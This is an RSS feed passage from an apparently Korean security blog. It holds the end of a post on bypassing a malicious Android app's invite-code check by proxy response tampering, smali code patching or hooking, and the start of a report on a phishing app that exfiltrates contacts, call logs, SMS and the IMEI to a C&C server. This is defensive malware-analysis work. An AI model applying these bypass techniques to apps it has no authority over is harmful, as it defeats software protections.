&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2489&quot; data-origin-height=&quot;1386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6s42g/btsKIwU9Gss/Tyf2jY6jFJl2342VE0Rkp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6s42g/btsKIwU9Gss/Tyf2jY6jFJl2342VE0Rkp1/img.png&quot; data-alt=&quot;초대코드 검증 로직 소스 코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6s42g/btsKIwU9Gss/Tyf2jY6jFJl2342VE0Rkp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6s42g%2FbtsKIwU9Gss%2FTyf2jY6jFJl2342VE0Rkp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2489&quot; height=&quot;1386&quot; data-origin-width=&quot;2489&quot; data-origin-height=&quot;1386&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;초대코드 검증 로직 소스 코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;HTTP 응답 코드에 따라 앱의 다음 동작 로직 실행 여부를 결정하고 있다. 200인 경우 정상 응답, 500인 경우 초대코드가 잘못된 것으로 판단하고 있다. 동시에 우회할 방법을 여러가지 생각할 수 있다. 프록시 도구를 통해 앱 패킷을 조작할 수 있는 경우 응답을 200으로 변경하면 될 것이고, 앱 파일을 코드패치하여 응답 코드가 200이 아닌 경우에도 실행되도록 할 수 있다. 또한 후킹을 이용하여 관련 함수가 실행될 때 인자를 바꾸는 방법도 고려해볼 수 있겠다. 제시한 방법 이외에도 다양한 방법이 있으니 상황에 맞게 적용한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 우회방법 1&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1609&quot; data-origin-height=&quot;807&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6wLdo/btsKKeZFJwN/9cg2TjkdNWgWjusW0VAHUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6wLdo/btsKKeZFJwN/9cg2TjkdNWgWjusW0VAHUK/img.png&quot; data-alt=&quot;HTTP 응답 변조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6wLdo/btsKKeZFJwN/9cg2TjkdNWgWjusW0VAHUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6wLdo%2FbtsKKeZFJwN%2F9cg2TjkdNWgWjusW0VAHUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1609&quot; height=&quot;807&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1609&quot; data-origin-height=&quot;807&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;HTTP 응답 변조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;HTTP 응답을 변조했을 때 앱이 정상실행되는 것을 확인하였다. 최초화면 이후 다음 화면으로 진행된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;501&quot; data-origin-height=&quot;895&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWMzV5/btsKKxSctqX/qzlnhIG934JtNIw7kzkyd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWMzV5/btsKKxSctqX/qzlnhIG934JtNIw7kzkyd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWMzV5/btsKKxSctqX/qzlnhIG934JtNIw7kzkyd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWMzV5%2FbtsKKxSctqX%2FqzlnhIG934JtNIw7kzkyd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;250&quot; height=&quot;447&quot; data-origin-width=&quot;501&quot; data-origin-height=&quot;895&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;접속하기&quot; 버튼으로 진행하면 앱 현재 기능과 무관하게 권한을 요청하며, 악성행위가 진행된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1629&quot; data-origin-height=&quot;823&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/owEfP/btsKI2snWZN/YTiRTTKdPW3puSZaAxf2Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/owEfP/btsKI2snWZN/YTiRTTKdPW3puSZaAxf2Ok/img.png&quot; data-alt=&quot;권한요청&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/owEfP/btsKI2snWZN/YTiRTTKdPW3puSZaAxf2Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FowEfP%2FbtsKI2snWZN%2FYTiRTTKdPW3puSZaAxf2Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1629&quot; height=&quot;823&quot; data-origin-width=&quot;1629&quot; data-origin-height=&quot;823&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;권한요청&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Omdxf/btsKJMiaV3N/jV5qeoKMTd5ata9ryZjWN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Omdxf/btsKJMiaV3N/jV5qeoKMTd5ata9ryZjWN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Omdxf/btsKJMiaV3N/jV5qeoKMTd5ata9ryZjWN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOmdxf%2FbtsKJMiaV3N%2FjV5qeoKMTd5ata9ryZjWN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;335&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2361&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2yx6x/btsKJKxULxX/zuTnO2USaHiFcX2hrt5Ak0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2yx6x/btsKJKxULxX/zuTnO2USaHiFcX2hrt5Ak0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2yx6x/btsKJKxULxX/zuTnO2USaHiFcX2hrt5Ak0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2yx6x%2FbtsKJKxULxX%2FzuTnO2USaHiFcX2hrt5Ak0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2361&quot; height=&quot;452&quot; data-origin-width=&quot;2361&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 우회방법 2&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음은 코드패치를 이용한 우회를 적용해본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2378&quot; data-origin-height=&quot;1328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xehok/btsKKcnlv2Y/zx7TcLTvZDMC8wmZG27Axk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xehok/btsKKcnlv2Y/zx7TcLTvZDMC8wmZG27Axk/img.png&quot; data-alt=&quot;코드패치를 이용한 초대코드 앱 우회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xehok/btsKKcnlv2Y/zx7TcLTvZDMC8wmZG27Axk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXehok%2FbtsKKcnlv2Y%2Fzx7TcLTvZDMC8wmZG27Axk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2378&quot; height=&quot;1328&quot; data-origin-width=&quot;2378&quot; data-origin-height=&quot;1328&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;코드패치를 이용한 초대코드 앱 우회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디컴파일로 앱 디컴파일 이후 smali 코드에서 수정할 코드를 찾는다. 이 경우 조건문 우회를 통해 코드패치를 적용하였다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1863&quot; data-origin-height=&quot;1268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m3i9F/btsKJlFpYgJ/ohtMhouiXE2ngdx5p6kb00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m3i9F/btsKJlFpYgJ/ohtMhouiXE2ngdx5p6kb00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m3i9F/btsKJlFpYgJ/ohtMhouiXE2ngdx5p6kb00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm3i9F%2FbtsKJlFpYgJ%2FohtMhouiXE2ngdx5p6kb00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1863&quot; height=&quot;1268&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1863&quot; data-origin-height=&quot;1268&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;잘못된 초대코드를 넣어도 다음 단계로 진행되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자는&amp;nbsp;Google&amp;nbsp;Play&amp;nbsp;스토어&amp;nbsp;외부에서&amp;nbsp;앱을&amp;nbsp;설치할&amp;nbsp;때&amp;nbsp;신뢰할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;출처에서만&amp;nbsp;다운로드&amp;nbsp;해야&amp;nbsp;한다.&amp;nbsp;만약&amp;nbsp;앱이&amp;nbsp;의심스러운&amp;nbsp;동작을&amp;nbsp;보이거나&amp;nbsp;악성&amp;nbsp;행위가&amp;nbsp;우려되는&amp;nbsp;상황이라면,&amp;nbsp;보안&amp;nbsp;전문가의&amp;nbsp;도움을&amp;nbsp;받아&amp;nbsp;정확한&amp;nbsp;진단과&amp;nbsp;대응&amp;nbsp;조치를&amp;nbsp;받는&amp;nbsp;것이&amp;nbsp;중요하다.&amp;nbsp;안전한&amp;nbsp;모바일&amp;nbsp;환경을&amp;nbsp;유지하기&amp;nbsp;위해&amp;nbsp;신중한&amp;nbsp;접근과&amp;nbsp;정보&amp;nbsp;보안&amp;nbsp;의식이&amp;nbsp;필요하다.&lt;/p&gt;</description>
      <category>Report/Project</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/279</guid>
      <comments>https://gomguk.tistory.com/279#entry279comment</comments>
      <pubDate>Tue, 19 Nov 2024 00:06:29 +0900</pubDate>
    </item>
    <item>
      <title>[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석 (2)</title>
      <link>https://gomguk.tistory.com/277</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디지털 환경이 발전할수록, 악성 앱과 피싱 앱은 그 기법을 점차 고도화하며 사용자들을 노리고 있다. 특히 스마트폰 사용이 일상화된 지금, 안드로이드 기기를 표적으로 한 악성 앱들이 빠르게 증가하고 있다. 이 포스팅에서는 이러한 악성 앱들이 어떻게 작동하며, 어떤 방식으로 사용자에게 위협을 가하는지 실제 사례와 함께 분석한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 글을 통해 일상에서 자주 접할 수 있는 악성 앱의 흔적을 알아차리는 방법과, 안전하게 모바일 기기를 사용하는 팁을 제공하여 사용자의 정보 보안 의식을 높이는 데 도움을 주고자 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;요가앱(가칭)은 안드로이드 플랫폼에서 작동하는 스피어피싱을 목적으로 한 피싱 앱이다. 악성 앱 실행 시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;u&gt;단말의 전화번호, 통화기록, 위치정보, 사용자 연락처에 저장된 정보, 수발신 문자 목록 등&lt;/u&gt;&lt;/b&gt;을 수집하여 공격자의 서버(C&amp;amp;C)로 전송한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;DISCLAIMER&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;이 분석은 특정 시점에서 관찰된 악성 행위에 대해 서술하고 있으며, 해당 앱의 전체 기능이나 미래에 발생할 수 있는 모든 변동 사항을 다루지 않습니다. 따라서 이후에 앱이 업데이트되어 새로운 악성 행위가 추가되거나, 다른 유사한 앱에서 유사한 악성 행위가 발견될 수 있습니다. 이 포스팅은 참고 자료로서 제공되는 것이며, 특정 앱의 악성 여부를 완전히 보증하거나 모든 가능성을 포괄하지 않음을 알려드립니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ngHXa/btsKJCtlXHV/PimiHDqLKvM5iWlKsYiDQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ngHXa/btsKJCtlXHV/PimiHDqLKvM5iWlKsYiDQK/img.png&quot; data-alt=&quot;앱 악성 행위 개요도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ngHXa/btsKJCtlXHV/PimiHDqLKvM5iWlKsYiDQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FngHXa%2FbtsKJCtlXHV%2FPimiHDqLKvM5iWlKsYiDQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;363&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;앱 악성 행위 개요도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 120px;&quot; border=&quot;1&quot; width=&quot;671&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center; height: 20px;&quot; width=&quot;245&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대상&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;순번&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;악성행위 분석&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위험도&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 100px;&quot; rowspan=&quot;5&quot; width=&quot;245&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;요가앱&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;(gggrpcep.*.ugytdlfsw)&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;span&gt;연락처 목록 전체 수집 및 유출&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;span&gt;통화 기록 유출&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;span&gt;문자 송수신 기록 유출&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;span&gt;전화번호 유출&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;66&quot;&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;304&quot;&gt;&lt;span&gt;&lt;span&gt;단말 고유 식별 정보 유출&lt;span&gt;(imei)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px;&quot; width=&quot;56&quot;&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 분석상세&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.1 정적 분석&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.1.1 권한 분석&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타냄&lt;span&gt;. &amp;lsquo;&lt;/span&gt;위험 권한&amp;rsquo;의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;악용될 경우 사용자의 보안에 위협이 될 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱의 전반적인 행위와 결합하여 평가할 수 있는 지표임&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;대상 앱에서 선언하는 권한과 설명은 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1KjtU/btsKIPfJv6n/zI8NPsrDzklbyyqzKzkoNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1KjtU/btsKIPfJv6n/zI8NPsrDzklbyyqzKzkoNK/img.png&quot; data-alt=&quot;AndroidManifest.xml 내 권한 선언&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1KjtU/btsKIPfJv6n/zI8NPsrDzklbyyqzKzkoNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1KjtU%2FbtsKIPfJv6n%2FzI8NPsrDzklbyyqzKzkoNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 